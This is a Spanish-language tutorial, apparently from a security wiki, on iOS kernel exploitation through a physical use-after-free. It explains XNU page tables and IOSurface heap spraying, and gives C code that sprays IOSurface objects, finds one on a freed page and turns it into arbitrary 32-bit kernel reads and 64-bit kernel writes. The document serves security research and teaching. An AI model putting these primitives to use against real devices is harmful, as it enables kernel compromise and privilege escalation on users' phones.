# iOS Exploiting ## Uso físico después de liberar Este es un resumen de la publicación de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) además de que se puede encontrar más información sobre el exploit utilizando esta técnica en [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) ### Gestión de memoria en XNU El **espacio de direcciones de memoria virtual** para procesos de usuario en iOS abarca desde **0x0 hasta 0x8000000000**. Sin embargo, estas direcciones no se mapean directamente a la memoria física. En cambio, el **núcleo** utiliza **tablas de páginas** para traducir direcciones virtuales en **direcciones físicas** reales. #### Niveles de Tablas de Páginas en iOS Las tablas de páginas están organizadas jerárquicamente en tres niveles: 1. **Tabla de Páginas L1 (Nivel 1)**: * Cada entrada aquí representa un amplio rango de memoria virtual. * Cubre **0x1000000000 bytes** (o **256 GB**) de memoria virtual. 2. **Tabla de Páginas L2 (Nivel 2)**: * Una entrada aquí representa una región más pequeña de memoria virtual, específicamente **0x2000000 bytes** (32 MB). * Una entrada L1 puede apuntar a una tabla L2 si no puede mapear toda la región por sí misma. 3. **Tabla de Páginas L3 (Nivel 3)**: * Este es el nivel más fino, donde cada entrada mapea una única **página de memoria de 4 KB**. * Una entrada L2 puede apuntar a una tabla L3 si se necesita un control más granular. #### Mapeo de Memoria Virtual a Física * **Mapeo Directo (Mapeo por Bloque)**: * Algunas entradas en una tabla de páginas **mapean directamente un rango de direcciones virtuales** a un rango contiguo de direcciones físicas (como un atajo). * **Puntero a Tabla de Páginas Hija**: * Si se necesita un control más fino, una entrada en un nivel (por ejemplo, L1) puede apuntar a una **tabla de páginas hija** en el siguiente nivel (por ejemplo, L2). #### Ejemplo: Mapeo de una Dirección Virtual Supongamos que intentas acceder a la dirección virtual **0x1000000000**: 1. **Tabla L1**: * El núcleo verifica la entrada de la tabla de páginas L1 correspondiente a esta dirección virtual. Si tiene un **puntero a una tabla de páginas L2**, va a esa tabla L2. 2. **Tabla L2**: * El núcleo verifica la tabla de páginas L2 para un mapeo más detallado. Si esta entrada apunta a una **tabla de páginas L3**, procede allí. 3. **Tabla L3**: * El núcleo busca la entrada final L3, que apunta a la **dirección física** de la página de memoria real. #### Ejemplo de Mapeo de Direcciones Si escribes la dirección física **0x800004000** en el primer índice de la tabla L2, entonces: * Las direcciones virtuales desde **0x1000000000** hasta **0x1002000000** se mapean a direcciones físicas desde **0x800004000** hasta **0x802004000**. * Este es un **mapeo por bloque** a nivel L2. Alternativamente, si la entrada L2 apunta a una tabla L3: * Cada página de 4 KB en el rango de direcciones virtuales **0x1000000000 -> 0x1002000000** sería mapeada por entradas individuales en la tabla L3. ### Uso físico después de liberar Un **uso físico después de liberar** (UAF) ocurre cuando: 1. Un proceso **asigna** algo de memoria como **legible y escribible**. 2. Las **tablas de páginas** se actualizan para mapear esta memoria a una dirección física específica a la que el proceso puede acceder. 3. El proceso **desasigna** (libera) la memoria. 4. Sin embargo, debido a un **error**, el núcleo **olvida eliminar el mapeo** de las tablas de páginas, aunque marca la memoria física correspondiente como libre. 5. El núcleo puede entonces **reasignar esta memoria física "liberada"** para otros propósitos, como **datos del núcleo**. 6. Dado que el mapeo no se eliminó, el proceso aún puede **leer y escribir** en esta memoria física. Esto significa que el proceso puede acceder a **páginas de memoria del núcleo**, que podrían contener datos o estructuras sensibles, lo que potencialmente permite a un atacante **manipular la memoria del núcleo**. ### Estrategia de Explotación: Heap Spray Dado que el atacante no puede controlar qué páginas específicas del núcleo se asignarán a la memoria liberada, utilizan una técnica llamada **heap spray**: 1. El atacante **crea un gran número de objetos IOSurface** en la memoria del núcleo. 2. Cada objeto IOSurface contiene un **valor mágico** en uno de sus campos, lo que facilita su identificación. 3. Ellos **escanean las páginas liberadas** para ver si alguno de estos objetos IOSurface aterrizó en una página liberada. 4. Cuando encuentran un objeto IOSurface en una página liberada, pueden usarlo para **leer y escribir en la memoria del núcleo**. Más información sobre esto en [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) ### Proceso Paso a Paso de Heap Spray 1. **Rociar Objetos IOSurface**: El atacante crea muchos objetos IOSurface con un identificador especial ("valor mágico"). 2. **Escanear Páginas Liberadas**: Verifican si alguno de los objetos ha sido asignado en una página liberada. 3. **Leer/Escribir en la Memoria del Núcleo**: Al manipular campos en el objeto IOSurface, obtienen la capacidad de realizar **lecturas y escrituras arbitrarias** en la memoria del núcleo. Esto les permite: * Usar un campo para **leer cualquier valor de 32 bits** en la memoria del núcleo. * Usar otro campo para **escribir valores de 64 bits**, logrando un **primitivo de lectura/escritura estable en el núcleo**. Generar objetos IOSurface con el valor mágico IOSURFACE_MAGIC para buscar más tarde: ```c void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) { if (*nClients >= 0x4000) return; for (int i = 0; i < nSurfaces; i++) { fast_create_args_t args; lock_result_t result; size_t size = IOSurfaceLockResultSize; args.address = 0; args.alloc_size = *nClients + 1; args.pixel_format = IOSURFACE_MAGIC; IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size); io_connect_t id = result.surface_id; (*clients)[*nClients] = id; *nClients = (*nClients) += 1; } } ``` Busca objetos **`IOSurface`** en una página física liberada: ```c int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) { io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000); int nSurfaceIDs = 0; for (int i = 0; i < 0x400; i++) { spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs); for (int j = 0; j < nPages; j++) { uint64_t start = puafPages[j]; uint64_t stop = start + (pages(1) / 16); for (uint64_t k = start; k < stop; k += 8) { if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) { info.object = k; info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1]; if (self_task) *self_task = iosurface_get_receiver(k); goto sprayDone; } } } } sprayDone: for (int i = 0; i < nSurfaceIDs; i++) { if (surfaceIDs[i] == info.surface) continue; iosurface_release(client, surfaceIDs[i]); } free(surfaceIDs); return 0; } ``` ### Logrando Lectura/Escritura en el Kernel con IOSurface Después de lograr el control sobre un objeto IOSurface en la memoria del kernel (mapeado a una página física liberada accesible desde el espacio de usuario), podemos usarlo para **operaciones arbitrarias de lectura y escritura en el kernel**. **Campos Clave en IOSurface** El objeto IOSurface tiene dos campos cruciales: 1. **Puntero de Conteo de Uso**: Permite una **lectura de 32 bits**. 2. **Puntero de Marca de Tiempo Indexada**: Permite una **escritura de 64 bits**. Al sobrescribir estos punteros, los redirigimos a direcciones arbitrarias en la memoria del kernel, habilitando capacidades de lectura/escritura. #### Lectura de Kernel de 32 Bits Para realizar una lectura: 1. Sobrescribe el **puntero de conteo de uso** para que apunte a la dirección objetivo menos un desplazamiento de 0x14 bytes. 2. Usa el método `get_use_count` para leer el valor en esa dirección. ```c uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) { uint64_t args[1] = {surfaceID}; uint32_t size = 1; uint64_t out = 0; IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0); return (uint32_t)out; } uint32_t iosurface_kread32(uint64_t addr) { uint64_t orig = iosurface_get_use_count_pointer(info.object); iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14 uint32_t value = get_use_count(info.client, info.surface); iosurface_set_use_count_pointer(info.object, orig); return value; } ``` #### Escritura en el Kernel de 64 Bits Para realizar una escritura: 1. Sobrescribe el **puntero de marca de tiempo indexado** a la dirección objetivo. 2. Usa el método `set_indexed_timestamp` para escribir un valor de 64 bits. ```c void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) { uint64_t args[3] = {surfaceID, 0, value}; IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0); } void iosurface_kwrite64(uint64_t addr, uint64_t value) { uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object); iosurface_set_indexed_timestamp_pointer(info.object, addr); set_indexed_timestamp(info.client, info.surface, value); iosurface_set_indexed_timestamp_pointer(info.object, orig); } ``` #### Resumen del Flujo de Explotación 1. **Activar Uso-Físico Después de Liberar**: Las páginas liberadas están disponibles para reutilización. 2. **Rociar Objetos IOSurface**: Asignar muchos objetos IOSurface con un "valor mágico" único en la memoria del kernel. 3. **Identificar IOSurface Accesible**: Localizar un IOSurface en una página liberada que controlas. 4. **Abusar del Uso-Físico Después de Liberar**: Modificar punteros en el objeto IOSurface para habilitar **lecturas/escrituras** arbitrarias en el **kernel** a través de métodos IOSurface. Con estas primitivas, la explotación proporciona **lecturas de 32 bits** y **escrituras de 64 bits** en la memoria del kernel. Los pasos adicionales de jailbreak podrían involucrar primitivas de lectura/escritura más estables, lo que puede requerir eludir protecciones adicionales (por ejemplo, PPL en dispositivos arm64e más nuevos).